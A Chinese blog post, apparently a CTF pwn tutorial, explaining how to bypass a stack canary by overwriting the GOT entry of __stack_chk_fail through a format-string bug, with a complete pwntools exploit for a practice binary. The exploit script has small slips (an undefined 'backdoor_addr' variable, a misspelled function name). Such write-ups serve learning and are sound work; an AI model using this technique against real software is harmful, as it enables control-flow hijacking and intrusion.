Canary绕过专题(5)——劫持__stack_chk_fail

338 字
2 分钟
Canary绕过专题(5)——劫持__stack_chk_fail

劫持__stack_chk_fail函数#

原理#

遇到canary错误时,会执行以下函数:

#include <stdio.h>
void
__attribute__ ((noreturn))
__stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}

劫持__stack_chk_faik函数的got表目标函数即可


例题分析#

检查安全机制

image.png
image.png

没有 Full RELRO修改GOT表的思路可行

再看IDA

image.png
image.png

能溢出128字节,这个题应该是可以用覆盖截断字符的方法的

但这里我们还是用劫持 _的方法

关键点在于 printf(buf)

我们可以用它找到输入的 bufprintf 的第几个参数,这样就找到了写入点

再用pwntools自带的 fmtstr_payload 函数,自动生成修改地址的格式化字符串

我们就能把__stack_chk_faik的got表改为backdoor地址

输入 AAAA测试一下

image.png
image.png

fmtarg指令计算偏移

image.png
image.png

这样就得到了offset = 6

这里我们还需要判断一下自动生成的格式化字符串链能否覆盖到Canary,不够的话就需要我们补齐

length = len(payload)
if length < 72:
payload += b'A' * (72 - length + 8)
else:
payload += b'A' * 16

最后exp:

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
#p = process('./canary5')
p = remote('ip',port)
elf = ELF('./canary5')
backdoor = elf.symbols['backdoor']
got_chk_fail = elf.got['__stack_chk_fail']
offset = 6
payload = fmtstr_payload(offset, {got_chk_fail: backdoor_addr})
length = len(payload)
if length < 72:
payload += b'A' * (72 - length + 8)
else:
payload += b'A' * 16
p.recvuntil(b"Tell me your story:\n")
p.send(payload)
p.interactive()

支持与分享

如果这篇文章对你有帮助,欢迎分享给更多人或赞助支持!

赞助
Canary绕过专题(5)——劫持__stack_chk_fail
https://joker233.top/posts/canary-bypass-5-hijack-stack-chk-fail/
作者
joker233
发布于
2025-12-01
许可协议
CC BY-NC-SA 4.0

评论区

Profile Image of the Author
joker233
Aspiring to master the art of pwn.
音乐
封面

音乐

暂未播放

0:00 0:00
暂无歌词
分类
标签
站点统计
文章
10
分类
3
标签
7
总字数
10,627
运行时长
0
最后活动
0 天前

目录